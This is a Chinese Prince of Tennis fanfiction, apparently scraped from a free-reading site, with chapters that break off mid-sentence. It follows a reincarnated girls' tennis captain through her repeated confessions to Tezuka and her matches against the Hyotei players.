《装X少女在网王修罗场艰难求生》 1. 第 1 章 《装X少女在网王修罗场艰难求生》全本免费阅读 毫无疑问这是一个炎热的夏天,蝉鸣声不绝于耳,温热的微风拂过面庞,完全没能给人带来凉爽,反倒把人熏得视线有些模糊。仅仅是在室外站了几分钟,七海的额头上就已经渗出了细细密密的汗珠。 “夏天真让人讨厌啊,只是站着就已经算运动了吧,我看今天也不要搞部活了,大家一起去二丁目的夏之家吃刨冰吧。”迎着阳光,二阶堂七海眯起双眼站在烈日下的网球场如是说道。 “部长,你说什么呢,不要忘记自己的身份啊喂!”白石智子毫不客气地举起网球拍往眼前这个穿着蓝白相间的正选制服,扎着高马尾的女生头上敲去。 “啊疼疼疼,智子,把你美丽机智善良伟大的部长大人的头敲坏了,你们还怎么得到我专业成熟的指导,没有我专业成熟的指导,我们还怎么进军全国大赛!”七海做出一副抱头鼠窜的姿态,声音听起来却理直气壮。 “你也知道目标是全国大赛啊,部长。”木下葵在一边冷冷地吐槽道。 是的,视线中这个站姿笔挺粗看一眼可称为英姿飒爽,但细看表情却吊儿郎当看起来及其不靠谱的人,二阶堂七海,正是青春学园中等部女子网球部的部长。 此外,她还有一层不为人知的身份,或者说,在无数个网球王子平行世界中相当普通的身份——她是穿越女来着的。 值得庆幸地是,她不是魂穿亡人或未亡人,否则她将为了如何与原主的家人朋友相处而伤透脑筋; 她没有绑定任何系统,因此她不需要为了完成系统布置的任务而被操控人生去做一些违心的事; 她也不是哪位正选的妹妹或是哪位王子的青梅竹马,哦,这对她来说倒不是件好事。 毕竟当她国小五年级看到新买的网球杂志上报道着越前南次郎的新闻,意识到自己并不是普通地重生为人时,她就暗下决心: 既然上天给我这个机会来到这个世界,我当然要把这个世界搅得天翻地覆! 嘛,或者说遵循自己的欲望,撕烂某人的剧本,掀翻某人的桌子,咳,夸张了,其实她只想小小地改写一下既定的故事...... 在死亡与重生的混沌之间流浪时,她曾听到一道难以名状的低沉呢喃,是她从来没有听过的,仿佛不是人能够发出的的嘶哑声。 那道声音告诉她,她拥有成为蝴蝶的力量,并亲自赋予了她无与伦比的网球亲和力、洞察力和体能。 或许会有人问什么是网球亲和力?网球又不是什么动物。简单来说,对于二阶堂七海,有关网球的一切,她都可以“看见”并“掌控”。 她可以透过形形色色华丽缭乱的网球招式看到网球在运动的本质,同时还可以掌控球场上网球的走向、旋度力度和斜度。 倘若她能够随意使用这样的能力,那么在这个世界的网球界她已经立于不败之地。 只不过对于二阶堂七海来说,这个挂开得有些太大了,反而将打网球这件事变得无趣,并且维持这个超然境界需要付出的代价也极大,并不能随心所欲地使用。 因此绝大部分时间她选择封印这一境界,靠真实的□□肉眼来感受网球,练习网球。 即便如此,凭借着她不俗的体能与洞察力,她的网球水平依然远超同龄人。 这也是为什么,这个底色是懒惰的女人此刻能够站在球场上以部长的身份指挥着眼前的部员们。 “好了好了,热身完先绕场跑20圈然后开始今天的练习吧,立华,去搬发球机来。”七海把部长不该有的表情收了起来,球拍扛在肩上一下一下地敲着,语气平淡地吩咐道。 ...... “今天的练习就到这里,解散。” “礼。” “部长慢走——” 倒不是她想摆部长架子才搞这样的形式主义,完全是部员们自发决定的,或许这就是魅力超群的烦恼吧,七海这么自恋地想着,在众部员的目送下轻快地走出网球场,向另一边的男子网球场走去。 “啊,部长又要去那个了吧。” “说起来已经隔了很久了,我还以为部长已经放弃了呢。” “部长大人,只要你愿意回头阳菜永远站在原地等你!” “唉,可怜的部长。” “你在说哪个部长可怜?” “......” 身后的讨论声渐行渐远,七海无奈地抹了把额角的汗,加快了脚下的步伐,毕竟男子网球部这时候也快结束部活了,别白跑一趟了。 也确实如她所料,当她一路畅通地走到男子网球场门口时,乾贞治正站在众部员面前嘴巴一开一合地说着什么,多半是总结今天的训练表现。 而站在他旁边的那个人......那个一头茶色短发戴着金边眼镜,鼻梁笔挺薄唇微抿,神色冷峻的人...... “哟,二阶堂!”乾贞治总结完毕正欲解散,菊丸英二凭借绝佳的动态视力一眼就瞟到了站在网球场外晃着身子神色纠结的七海,绽开了一个大大笑容冲她挥了挥手,这一声招呼也将场上其他人的视线吸引到了同一处。 “二阶堂七海,来找手冢的概率是99%。”乾推了推眼镜道。 “七海,是来找手冢的吧。”不二周助顶着春风拂面般的笑容笃定地确认着。 七海以极其微小的幅度点了点头,侧身看向乾贞治身边一言不发的那个人,“国光,我有事想和你说,我们去球场外说吧,可以吗?” “啊。” “真可惜啊,二阶堂同学和部长看起来很搭呢,个子高又漂亮,网球技术也好......” “桃城,你闭嘴。” “又想打架是不是臭蛇!” ...... 身后纷杂的议论声仿佛已经重复了无数遍,而事实上类似的议论也确实重复了无数遍,从中等部一年级到三年级,大家的评价不外乎如是——“看起来很搭”,可惜也只是看起来,强扭的冰山他冻嘴啊,青学众人在心中惋惜地感叹着。 “国光,我......” 今天好像与过去终于变得不同,往常,手冢国光会耐心听完她的话再拒绝,今天的他却没等七海说完就打断了。 “七海,很抱歉,我......” ------------------ 时间回溯到四年前。 神奈川的一所日式别墅内。 今天是一个晴朗的周末,妈妈二阶堂美穗早早地出门和朋友逛街去了,爸爸二阶堂悠人在书房看杂志,哥哥二阶堂流川则和妹妹二阶堂七海一起坐在茶室里,边吃零食边听着庭院里的惊鹿反复下垂翘头,发出嗒、嗒的清脆敲击声。 “七海,你偶尔也看看新闻吧,每天看些网球杂志,小心打网球打入魔了。”二阶堂流川看似吐槽实则宠溺地说道。 他的余光一直斜睨着自家妹妹,好好的周末不和朋友出去逛街,反而在家里看网球杂志,估计待会儿又要出门去打球了。 “知道了知道了,哥哥你真是越来越像爸爸了。”七海头也不抬地敷衍着,舌头搅动着嘴里的棒棒糖上下翻滚,她随手拿起放在茶桌上这周刚出的网球周报。 “越前南次郎的退休生活?!”看着杂志内页的几个大字,七海瞪大了双眼,紧接着用两指夹住了从嘴掉下来的棒棒糖,另一只手拿起杂志便一路小跑到书房。 少女轻喘着气推开房门大声道,“爸爸,我要用电脑!” 三十分钟后,玄关处。 “爸爸!哥哥!我要去东京一趟,晚饭之前一定回来。对了爸爸,国中我要去青春学园读,这是通知不是商量,好了,我出门了!” 七海换了身网球裙,将手腕上的发绳叼起胡乱地束了个高马尾,一手按着墙壁,慌忙着穿上运动鞋,跺了跺脚,“手机OK,钱包OK,钥匙OK,网球包也拿上了,出发!” 二小时后,东京街头。 “青春学园......按照地图上应该就在附近了呀,怎么没看到呢。”穿着网球裙的纤长少女站在十字路口,在手机上的东京都的地图和路口之间来回张望。 二阶堂七海,凭借着自己年仅11岁就达到了远超日本女生平均水平的唬人165cm身高和从小表现出的聪明才智,虽然本质上仍是个国小五年级的孩子,但在家里可以说已经有了一定的话语权。 而这个雷厉风行的女子,在意识到自己所在的其实是那个网球王子世界之后,便火速为自己制定了一份新的未来人生规划。 首先,去青学读书,这样就可以趁着那个人还没有变成不苟言笑一本正经的大冰山之前先发制人,谈一场甜甜的恋爱! 什么远远地望着,只要对方幸福就好,根本不可能发生在二阶堂七海身上。 她向来不是被动等待的性格。 “啊,糟了,今天是周末,小学怎么会有人。” 她向来会在万事俱备的时候出一些小差错。 算了,下次请个假来蹲人吧,今天就逛一逛东京好了,让我看看附近有什么街头网球场,给城里人一个沉醉在本小姐的网球美学下的机会。 这么想着的二阶堂七海在手机里重新输入了检索信息,并往离当前所在位置最近的一个网球场走去。 “大石秀一郎和,手冢国光......” 站在狮目公园网球场的边缘,看着眼前两个穿着运动服比自己稍矮一筹的男孩,她想,她运气有些好得过分了。 这时的手冢国光还有着些许小学生该有的精神面貌,高兴时会笑,愤怒时会生气,还没有学会完全隐藏自己的情绪,脸上的婴儿肥甚至都还未褪去,认真的眼神倒是和长大以后如出一辙。 手冢国光看着这个将他和他的伙伴的名字脱口而出的女生,眼中带上了一些疑惑。 “你是谁?为什么知道我们的名字?” “我叫二阶堂七海,你们可要记住了。至于为什么知道你们的名字嘛,这是个秘密。不说这个了,你们是在打网球吗?我可以加入吗?” “可以是可以,手冢,要和她打吗?”大石友善地冲七海笑了笑,侧头问道。 “那就来吧。”手冢早在这个与他们年龄相仿的女孩向他们走来时就注意到了她身后背着的网球包,点了点头。 ...... “6 2. 第 2 章 《装X少女在网王修罗场艰难求生》全本免费阅读 番外:《七海的告白回忆录》 1. 国中一年级。青春学园大礼堂。开学典礼。 “......不要大意地上吧!” 讲台下掌声雷动,看着讲台上的小少年以经典的口头禅结尾,二阶堂七海在队列里忍不住噗嗤笑出声来,不愧是国光,新生代表发言也是一如既往的严肃认真风格。 一旁的大石秀一郎听到少女的笑声,将头侧过去小声提醒道“七海,就你一个人笑会很醒目哦。” “嗨嗨,知道啦,秀一郎。”七海向秀一郎挤了挤眼。 演讲台上,戴着金边眼镜的清冷少年顺利完成发言,迈着沉稳的步伐回到了队列之中,在校长完成新学期展望演讲后,万丈波澜的青学生活从此开始。 走在专为社团招揽腾出的校园中心大道上,其余两位少年瞄准着一个目标坚定地朝着一个方向走去,七海却忍不住左右来回观望。 “绘画社看起来好厉害!陶艺社也不错嘛!” “哇,国光,秀一郎,快看,原来青学还有cosplay社诶!”二阶堂七海兴奋地扯了扯身边人的衣袖,随即站到两人面前神色突变冷淡,沉声道:“不要大意地上吧!” “七海......你这是在cosplay手冢吗?”秀一郎扯了扯嘴角。 “是呀难道不像吗?国光,你点评一下呗。”七海臭屁地扬起脑袋,冲着手冢国光扬了扬眉,一副求夸奖的表情。 二人本以为手冢不会回应七海的玩闹,然而沉默两秒后,少年轻吐出了一个数字:“60点。” 七海欣喜地回道:“诶,60点?那不就是及格了吗?看来果然很像哇哈哈哈。” 秀一郎黑线,七海你真的很会给自己挽尊。 “你们要去哪个社团?让我用我的邪王真眼来看看......”七海紧闭双眼,摆弄起一些奇奇怪怪的手势,紧接着猛地一睁眼,“是网球部,对不对!哼哼,看来本神的功力又上涨了呢......” “那么,给你们个机会猜猜本小姐要去哪个社团吧!”,七海用手做话筒状,伸向大石秀一郎嘴前,“秀一郎你先猜!” “七海要去的应该也是网球部吧。”大石秀一郎老老实实回答道,“那国光呢?”七海又将话筒伸向手冢国光嘴前。 “......cosplay社。”手冢国光扶了扶眼镜平静地答道。 七海震惊,“国光,你刚才,是在开玩笑吧?你的语言能力确实有进步哦。” “正确答案是,网球部!1-0,秀一郎的胜利!”七海嬉皮笑脸地绕着两人转了一圈。 大石秀一郎有些头疼地看着从早上起就精力过剩高度兴奋精神状态极度不正常的七海,“七海,有这么开心吗?” 二阶堂七海用力地点了点头,心想,当然有了! 这两个人根本不知道自己为了来青学在家里给哥哥做了多久的苦力,为了说服爸爸妈妈同意,磨了多久的嘴皮子,更何况眼前的人可是那个手冢国光诶! 想到接下来的三年都能和她曾经可望而不可即的人朝夕相处,她的心就忍不住雀跃起来。 三人到达网球部的桌前提交了入部申请表后,便打算找个地方解决带来的便当,最后他们运气极好地找到了一棵无人的樱花树,在树下铺上午餐垫坐了下来。 分享着便当,七海眼珠子一转,突然想起来一件事。 “呐,升入国中我们也算是长大了吧?” 秀一郎挠了挠头,回道:“算是吧?” “国光,你觉得呢?” “啊。”手冢国光微微点了点头。 看到手冢国光点头的瞬间,七海调整坐姿坐到了手冢国光对面,上身前倾,“那国光你该履行诺言了!和我交往吧!” 一阵微风吹过,樱花树下淡粉色的花瓣纷飞,迷乱了三人的眼,少年大约是被春日的暖风熏醉了,脸上泛起极浅的一层红晕,他轻启唇: “我拒绝。” ------------------------------------- 2. 国中二年级。手冢国光成功当选学生会会长当天晚上。 “干杯!”河村寿司店内,手冢大石不二等人及七海聚在一起,为手冢国光成功当选学生会会长开了个庆祝会。 “呐呐老板,店里有酒的吧,可以给我们上一点吗?”七海离开位置来到板前,眨巴着渴求的大眼睛注视着河村爸爸。 河村爸爸笑着摇了摇头,“小孩子可不能喝酒哦。” 七海低头酝酿了三秒,再抬起头时神色变得严肃,连声线都低沉了几分,“啊。不是给他们喝,其实我是网球部新来的教练,麻烦给我来一杯吧。” “啊呀,原来是这样,真是不好意思,马上给您倒一杯,清酒可以吧?”七海:计划通!1米7的身高这时候就是最好用,再配上国光的气质,装大人简直无往不胜。 拿上清酒,七海回到位置上炫耀起来。“看,这是老板给我的酒,你们都没有,嘿嘿。” 不二周助浅笑着发出一个疑问:“七海以前喝过酒吗?” “没有哦,趁着今天这个大好日子,正好尝一尝。” 一小时后。 面色如常的七海站在寿司屋门口与众人挥别准备一个人回家。“我送你。”清冷的声线在身后响起。 “诶?不用送我啦,我又没醉。”七海转回身奇怪地歪了歪头。 青学众人:说这话之前你不如先看看自己的脚下,哪有人不穿鞋就要回家的啊! 手冢国光面色如常,捡起七海的鞋子放到了她脚下,“鞋子忘了。” 七海面色郝然,“哎呀不好意思不好意思,那我们走啦,拜拜!”她穿上鞋子就拉起手冢国光的手往外走。 她确定她此刻头脑非常地清醒,步伐稳健,只是有些话想说罢了,想说,就该说! “国光,你是学生会会长了诶,好酷好酷。” “啊。” “其实我一直很喜欢你,很早很早以前就开始喜欢你 3. 第 3 章 《装X少女在网王修罗场艰难求生》全本免费阅读 “呀,真无聊啊侑士,都是一群弱旅,我们回去吧。” 网球场上此时空无一人,倒是看台的边沿站着两个人。 穿着灰白运动服的红发秀丽少年背靠着扶手百无聊赖,将黄色小球高高抛向空中再接住,视线也跟随着小球的轨迹上下移动,如此往复。 身边顶着深蓝色狼尾发型的眼镜少年抬眼,倒是注意到了远处走来的身影,腔调散漫道: “岳人,有人来了呢。” 闻言,向日岳人停下了抛接球的动作,也看向了来人。 “什么啊,是女生,没意思。”斜瞟了一眼,发现来人是个女生,向日岳人正准备将头转回去。 “喂,那边的两位同学,来打一场吧。” 一道些许轻傲的声音接着红发少年的话响起,向日岳人和忍足侑士均愕然。 旋即,忍足侑士嘴角漾起弧度,轻轻笑起来,漫不经心道,“很有趣的样子呢,岳人,不如和她打一场试试。” “切,好吧,反正无聊。那你先发球吧,不过我可不会因为你是女生就放水。” 向日岳人撇撇嘴,拿起倚靠在台阶上的球拍向球场走去,忍足侑士走到场边自觉当起了裁判。 七海今天本就心情不佳,看着向日岳人一副打算速战速决的轻敌模样,更感不爽,既然想速战速决,那我就慢慢磨蹭。 少女从网球包中拿出球拍,慢条斯理地给拍柄缠起了手胶,又慢悠悠地踱着步走到了场上,一副拖沓散漫的样子让对面的向日岳人皱起了眉头。 然后,只见对面的女生将手中有些发灰的黄色小球向空中抛去,似是随意地抬起右手一个轻扣, “15-0”,黄色小球以肉眼难以捕捉的速度向边线疾驰而去,随后落地弹起,在地面上留下了一个浅浅的印子。“开胃小菜。”七海勾了勾唇,露出一个浅笑。 “你......”红发少年瞪大了本就又圆又大的蓝眸,脸上的表情完成了从呆愣到难以置信到兴奋的快速过渡,少年忍不住原地蹦跳了起来。 倒是一旁的忍足侑士在一瞬的惊讶之后便恢复了平静,“侑士,帮我拿一下衣服。”忍足侑士熟练地接过岳人抛过来的运动服外套,比赛继续。 “30-0”一个看似平平无奇的外旋发球。 “40-0”这次试试手冢的零式削球吧。 “60-0”桃城的入樽式扣杀果然用起来好帅! “阿啦岳人,”忍足侑士话音未落, “侑士,我没有放水!” 向日岳人大声嚷着,握着球拍的手紧了紧,低头看了眼脚边的球又抬头看了一眼对面那个明明浅笑着却让人感到有一股可怕的气息围绕在侧的少女, “是我小瞧了她......” “那个,你是男生还是女生啊。” 向日岳人瘪了瘪嘴,犹豫了一会儿,还是将心里憋了很久的问题问了出来。 “我当然是女生了笨蛋!你见过哪个男生像我这样扎个高马尾还那么漂亮吗,嗯?而且我可是穿着裙子诶,笨蛋!” 话音刚落,在场的三人同时意识到,漂亮的高马尾男生好像还真的有一个。不过,谁都没有张口提及。 甩了甩马尾,“少废话,继续打。” 这个不耐烦的语气,迁怒,我这绝对是在迁怒吧,二阶堂七海在心里小小唾弃了自己一句,有些抱歉,但不打算道歉。 于是臭脸少女和三分不爽三分震惊三分兴奋一分迷茫少年间的网球比赛继续,与此同时: “摩西摩西,迹部,来青学后面三丁目那个狮目公园的网球场,我们遇到了一个很有趣的网球高手呢,不会让你失望。” 当迹部和剩余的正选人马到达网球场时,二阶堂七海和向日岳人的比赛已经以6-1的结果结束,并在岳人的强烈请求和忍足的怂恿下与两人交换了姓名及联络电话。 “啊嗯?忍足,你说的网球高手在哪里?”迹部景吾扫视了网球场一圈,只看到看台边站着一个高挑的女生。 “是二阶堂桑!别看她是女生,她真的很厉害。迹部,想看你和她打一局!”虽然被一个女生血虐,向日岳人并未因此颓丧或恼羞成怒。 无他,只因这是一个以强者为尊的世界,只要是有实力的强者背后都付出了十足的努力,单就这点就值得尊敬。 二阶堂七海看着眼前走过来的人,紫灰色的卷翘发型,标志性的泪痣点缀在眼下,睥睨天下的臭屁表情,没错了,她曾经单方面不欣赏的对象,迹部景吾。 之所以是曾经单方面,当然是因为她看他不顺眼已经是上辈子的事了。 那时虽然知道他是手冢的朋友,虽然知道他当时只是认真对待比赛使用能赢的策略,但是如果不是那场双部之战,手冢也不至于......很难平常心对待呐。 不过,现在这一切还没发生,即使历史重演,她也没有任何立场去讨厌他不是吗,别真的变成讨人厌的人啊,七海。 平心而论,迹部是一位值得尊敬的对手,我不该戴着有色眼镜看他。七海眨了眨眼,将杂乱的思绪压下。 “你好,我是二阶堂七海,青春学园女子网球部部长。”既然对面也是个部长,还是稍微正式一点自我介绍好了。 “迹部景吾,冰帝学园男子网球部部长。” “原来你是青学的部长!难怪了呢!”听到这番自我介绍,边上的向日忍不住开口。 “来吧,打一场。”七海举起手中的球拍单刀直入道,在双部之战前先把迹部景吾痛削一通的感觉应该挺不错的。 “迹部,和刚打完一局的女生打球,好像有点不厚道呢。”忍足在一边适度煽风点火,他仿佛摸透这位青学女部长的脾气了。 “忍足君你接下来不许说话。一局定胜负,你发球。”刚才的一局,她心中的郁气才发泄了百分之十呢。 “满足你的请求。沉醉在本大爷的美技中吧!” “应该是沉醉在本小姐的超华丽美技中才是哦!” 七海笑眯眯地答道,回击的动作丝毫不怠慢。 上一局把其他人的招式用了一遍,接下来发球局还是靠自己的球技吧。 “0-15”,“啊恩,果然实力不错呢二阶堂。” “15-15”,“彼此彼此迹部君。” “1-0 Switch!” 此时,场下除了早有预料的向日和忍足,和到了场地就找了片干净的看台躺下开睡的慈郎,以及永远面无表情的桦地,其余冰帝正选均震惊于刚才的数球。 “这个女部长,居然可以和迹部打得有来有往。” “而且还是迹部的发球局!” “但是,迹部完全没使出全力嘛,腿上的铅块也没摘。” 七海闻言忍不住在心中不满地吐槽起来,他是没摘,我也没摘好不好! “小心咯,华丽的迹部君。” 将手中的球高高抛起,七海的马尾随着球拍在空中似乎有了一瞬间的滞空,黄色小球以优美的高抛曲线向对场飞去。 在过了球网的瞬间,突然以无法用科学解释的原因迅速垂直落地,而后在地面原地盘旋不止,却没有发出任何声音。 “这一招,叫愿者上钩。” 一般人大概想象不到,这一招是她在机缘巧合下和手冢国光以及真田弦一郎去郊外的一处公园垂钓的时候领悟的。 七海不喜欢钓鱼本打算拒绝,但听到国光说一起去的还有真田皇帝,想见这位人物的好奇心让她满嘴应了邀请。 结果等到了公园以后,这两个人一钓起鱼来仿佛老僧入定。 七海在一边先是因为钓不上鱼而有些气急败坏,放弃了钓鱼的念头又觉无聊,便凝视着两人垂钓的场面边琢磨起网球。 “愿者上钩”这一招便是在这样的契机下研究出来的,这个名字只因网球的轨迹就像钓鱼时高抛后接触水面接着垂直落入水下的鱼饵。 “15-0” 第二球,七海挥出的球在空中出现了两个缩影,在对面的人尚未能分辨出到底哪个是影子哪个才是本体时,两道缩影直直地向两边对角线飞去。 迹部毫不犹豫地选择了其中一球回击,但却未能感受到小球碰撞球拍面而产生的压力,随后,另一道影子贴着球场边缘弹起复又落地。 “这一招,叫日月同辉。”某天和手冢大石一起走在傍晚的放学路上,他们在桥边驻足欣赏着夕阳。 那时,太阳将落未落,月亮也一同升起,七海斜倚着身子靠在栏杆上,凝望着日月同辉的绚烂美景和少年线条分明的侧脸。 在这美好的画面下,她突然有了新的招式思路,并最终得以投入使用,便是“日月同辉”。 “30-0” 第三球,黄色小球竟像蜜蜂一样在空中以类阿拉伯数字8的轨迹向对手的面部移动。 眼看着乱舞的网球即将接触到迹部大爷嚣张俊美的面庞,小球却诡异地在即将触碰到脸时失去了前行的动力,直落在了地上。 “40-0” “这一招,叫......”破镜。 那时,她已经被手冢国光拒绝了三次告白,而手冢的球技在他本人的努力加领悟配合七海的辅助指导下已经得到了十足的成长。 加上随着年龄增长,男性天生强于女性的体力加成,她不再像国小时那样能轻松打败他。 两人的胜率逐渐从七海单方的虐杀到了接近六四开,当然,是她六他四。 于是她某天偷偷坏心眼地想着,如果有一球能把国光的眼镜给打下来就好了,这样接下来我就必胜啦!大概。 但是真打碎了他会不会生气,还是吓吓他好了...... 思绪逐渐飞远。手冢国光,手冢国光,手冢国光......回过神来,过去的四年,几乎她记得的每个与网球有关的重要瞬间都有他的参与。 她竞选女网部部长时,他在部活室外等她; 她研发出新的招式时,他总是第一个受试的人; 她在雨天打球不慎崴了脚,他便每天早上等在她租住的公寓楼下送她上学; 二年级,她带领着女网部第一次打到关东大赛,他送了她一对深蓝色的护腕,对她说“七海,你做得很好 4. 第 4 章 《装X少女在网王修罗场艰难求生》全本免费阅读 于是他向她走来。 有那一瞬间她很想逃走,可是逃去哪里呢,不要幼稚了,二阶堂七海,她对自己说。 有那一瞬间她很想迎上去,想象着他对她说“七海,我后悔了。”,然后两个人在东京街头相拥。 可是她最后什么也没做,站在街角,静静地看着他一步一步向她走来。 “七海,以后打球不要打太迟,这一带晚上不安全。”总是月色太朦胧,害得她总把他认真的神情误认为对只她释放的温柔。 “嗯,知道啦。”七海扬起一个笑容,和手冢并肩站在街角,等待着已经变红的信号灯再次变绿。 这红灯未免太久。 “你怎么知道我没回家?”等到还剩15秒时,七海感觉已经过了一个世纪,再不说点什么打破沉默,就显得太尴尬了。 茶发少年脸上扫过一丝不自然,轻咳两声后说道,“有些不放心,去你家楼下看了一眼发现灯没亮。” 七海又想哭了,这么好的人又这么帅,不心动也很难吧。 “呐,我今天凑巧和冰帝的迹部打了一把,可惜没发挥好输了。”七海低头看着路面上的砖块,努力控制着每一步都踩在砖块的交界线上。 “迹部,他是一个很强的对手。这周日的关东大赛会对上冰帝。”手冢国光,我恨你像块木头,这时候应该安慰安慰我才是嘛。 “我会到场为你们加油的,那下周六的女网关东大赛你也要来看哦。” 这个世界的未成年组男网比赛和女网比赛通常交错进行,从两个人都成为青春学园中等部网球部的一员开始,他们一直会互相观摩对方的比赛并给对方提供建议。 好吧,一般是二阶堂七海给手冢国光唠叨一通。 “嗯,不要大意。” 关东大赛啊,是那场比赛。 七海再次陷入思绪里,国一时二阶堂七海已经转到了青学,终于可以每天都见到手冢,她便格外关注他的校园生活并让他小心网球部的前辈,不要表现出自己是左撇子的样子,可还是没能阻止事故发生。 那个下午,她闻讯赶到网球部抱着手冢的胳膊大哭了一场,边哭边骂自己没用,眼神中流露出深深的愧疚与自责。 那样的姿态害得大石和手冢都吓了一大跳,最后反而是他们两人笨拙地说着一些试图安慰她的话,更令她愧疚万分。 似乎也是从那以后,她再也没有在别人面前哭过,直到今天。 “我到家了,明天见。”眼前漆黑的楼道将七海的思绪拉回现实。 “明天见。”手冢站在楼下看着她一层层往上走,二楼,门开了,门关了,灯亮了,他转身往家里走去。 --------------- 洗完澡的七海呈大字瘫倒在床上,脑子一转拿起放在床头的手机,有新的短讯。 【19:17 忍足侑士:哦呀,原来是失恋的眼泪。有些好奇告白的对象是谁】 【21:37 to忍足侑士:手冢国光】 【21:39 忍足侑士:还以为二阶堂桑不想说,真是个让人意外的答案】 【21:40 to忍足侑士:也不是第一次被拒绝,已经习惯了,况且也已经放弃了】 【21:41 忍足侑士:习惯了的人会哭成那样吗】 ......二阶堂七海决定从今天起把忍足侑士划进讨厌的人分组。 ---------- 转眼就到了关东大赛当天。 烈日将地面炙烤得烫脚,耳边的蝉鸣在焦虑的时候只会进一步惹人心烦,二阶堂七海在偌大的比赛场地像无头苍蝇一样四处转悠。 “早知道就早起和大部队一起过来了,昨晚还忘了给手机充电,我是笨蛋吗我......” 七海嘴里边叨叨着边四处张望,她作为一个明e实i人,在迷路的时候总是倔强地坚信能靠自己找到方向,而不是去问路人。 显而易见,结果就是越走越偏,“这个公园怎么还有像破落丛林一样的地方啊,我该不会误入异次元了......”。 如此这般走过两个拐角,七海终于看到了一个站在一边的路人,看着装应该也是参赛校的学生。 “你好,请问青学对冰帝的比赛场地该往哪里走?”放弃一些路痴不该有的倔强,她走过去问道。 “沿着这条小路往前走大概一千米再右拐一小段路就是了。” “谢谢!” 一千米?!她居然不知不觉走偏了这么远,不好,再不快点就要赶不上第一场比赛了,七海快跑起来,在3分多钟后与大道上迎面走来的人撞了个满怀。 “是你?” 熟悉的傲慢嗓音从头顶响起,七海未等抬起头就知道了来者何人,她慢吞吞地从地上爬起,拍了拍身侧的尘土,抬头平视眼前这群少年,果然是他们,冰帝。 “二阶堂!”来自向日岳人。 “二阶堂桑,又见面了呢。”另一道慵懒低沉充满磁性的声音也插进来。 “嗯嗯,好巧,你们要去比赛场地吧?那走吧,正好顺路。”七海答道,稍有些懊恼。 今天她穿了一套浅灰色的网球裙,看完关东大赛,她还要去预约的一家网球训练室检查自家部员今天的练习成果,刚才这一撞膝盖着地,现在膝盖火辣辣地疼,估计待会儿血就要渗出来了,出师不利的一天啊。 “啊嗯。”迹部景吾上下扫视了一番眼前的少女,回想起十多分钟前从接驳车上下来时,他就余光瞥到这道身影走进入口,此刻又一副急急忙忙不欲多说的模样,心下了然。 这么小的地方也会迷路,真是不华丽的女人。 七海默默跟在冰帝众人的队伍后面,直到到达比赛场地,才往青学的一边走去。 “七海,你的膝盖怎么了?”眼尖的不二周助一眼就注意到七海膝盖上渗出的一丝丝血。 七海轻笑着摇了摇头,“摔了一跤,小事。比起这个,大家加油!” “离比赛开始还有十分钟,请各位选手入场。”电线杆上传出广播声。 “那么,不要大意地上吧。” “我要连着大石的份一起加油!”菊丸英二握紧拳头认真道。 “对手也有进入全国大赛的决心,我们赢了,就能去全国大赛,全力地上吧!”手冢的声音一如既往沉稳,只是攥紧的拳头暴露出了他内心的不平静。 这一天,等了很久了吧......青学会赢的。七海默念着,瞳孔中倒映出那个神色坚定的少年。 全场环绕着冰帝学生振聋发聩整齐划一的应援口号,听到对场的向日忍足嚣张地说出那句“胜者是冰帝,败者是青学。”七海笑了,站在青学一侧的看台边,对着冰帝众人不客气地震声道: “说错了呢。胜者是青学,败者是冰帝。”清丽的声线仿佛穿透了赛场。 “二阶堂学姐说得对!”崛尾挥了挥拳附和着,冰帝后援团中则传出了许多不满的声音。 “这人谁啊这么嚣张” “青学也有资格说这种话?” “不自量力。”...... 向日岳人撅了噘嘴,他以为上次打完球以后就是朋友了呢,虽然对方有自己的立场,但被这么怼一句果然还是: “什么啊,真让人不爽。” 忍足浅笑着拍了拍岳人的肩膀似是安慰,没再说什么。 “呵。”迹部景吾点了点眼下的泪痣,傲慢神色未变。 场外的一切纷纷扰扰从此刻开始都不重要了,战斗的号角已吹响。 第二双打“青学胜出,4-6!” 第一双打“冰帝胜出,6-3!” 一切都如她早知道的那样,她曾想过是否要凭借自己已经预知的未来去帮助他们,但是,那是他们自己的路,倘若不经历挫折,倘若不自己去领悟双打的配合之道,又怎么得到真正的成长,她不该也不能插手。 只是他,她希望他不再成为牺牲品,不再是剧情需要的败者。 第三单打“因双方受伤无法继续参赛,第三单打平局。” “两个笨蛋。”七海叹了口气,拿出自己昨晚提前放到网球包里的两瓶强效止血杀菌喷雾。 “河村桑,请用吧。”微笑着将手中的喷雾递出,河村隆看到二阶堂七海毫不掩饰的关心表情,感激地接过喷雾, “二阶堂桑,谢谢你。” 七海拿着手中另一瓶喷雾向对场走去。 “喂,那个女生来冰帝这边干嘛。” “这不是刚才那个很嚣张的女人吗。” “迹部君,请不要用那样不华丽的眼神看我,虽然知道你们回去之后有豪华的医疗团队治疗,眼下天气炎热,伤口还是尽快简单处理一下比较好呢。” “桦地君,如果不嫌弃的话可以用这个喷雾喷一下伤口,镇痛消毒的效果都很好哦。” “wu...谢谢......”看着眼前高挑少女递过来的喷雾,桦地迟疑了一瞬,在得到迹部的眼神示意后接过了喷雾,如果有人仔细观察的话,就会发现此刻桦地的耳朵正在泛红。 “你自己的伤口呢,啊嗯?”迹部景吾凝视着眼前人。 “啊,你说膝盖啊,多谢您金贵的关心,这点伤放着不管过会儿就愈合了。” 确实,二阶堂七海膝盖上的伤至多只算是小擦伤,只要清理得当要不了多久就会结疤愈合。 “随便你。”迹部景吾皱了皱眉,这个女人每次见到他,说话时似乎总是夹枪带棒的,好话不给一句,呵。 青学这边,手冢国光默默然望着七海掏出包里的喷雾递给两位退场的选手。 比赛继续。 第二单打“比赛结束,青学胜出,6-1!” 意料之内的比赛结果,全场爆发出了此起彼伏的欢呼声。 而二阶堂七海,她正对着大石念叨:“秀一郎,下一局比赛不要回应迹部景吾的任何疑问、挑衅,不然比赛结束我用网球削你。” “啊?...嗯,嗯。好的。” 四年来,大石秀一郎已经习惯了七海有时突如其来的“命令”,虽然听着有些霸道,但只要照做,结果永远会佐证她的要求是为了他们好,他在这个过程中,慢慢养成了无条件信任七海的习惯。 “越前,拿上你的球拍。” 二阶堂七海站在内场,和不二周助一同看着手冢和越前两道离去的身影,攥紧了手,抬脚挪了一步,又停下。 “七海,不跟上去看看吗。”不二收回自己凌冽的视线,微笑着。 “嗯......不去了。” “喂,乾。”菊丸英二戳了戳乾贞治肩膀,用眼神示意,青学众人均抬头看向看台最高处。 “六角中,山吹,立海大......第一场比赛已经结束了吗。” 好多人,好多张熟悉的面孔。接下来,当着这么多的人的面,所有人都会看到他受伤......所有人都会看到他跪下......所 5. 第 5 章 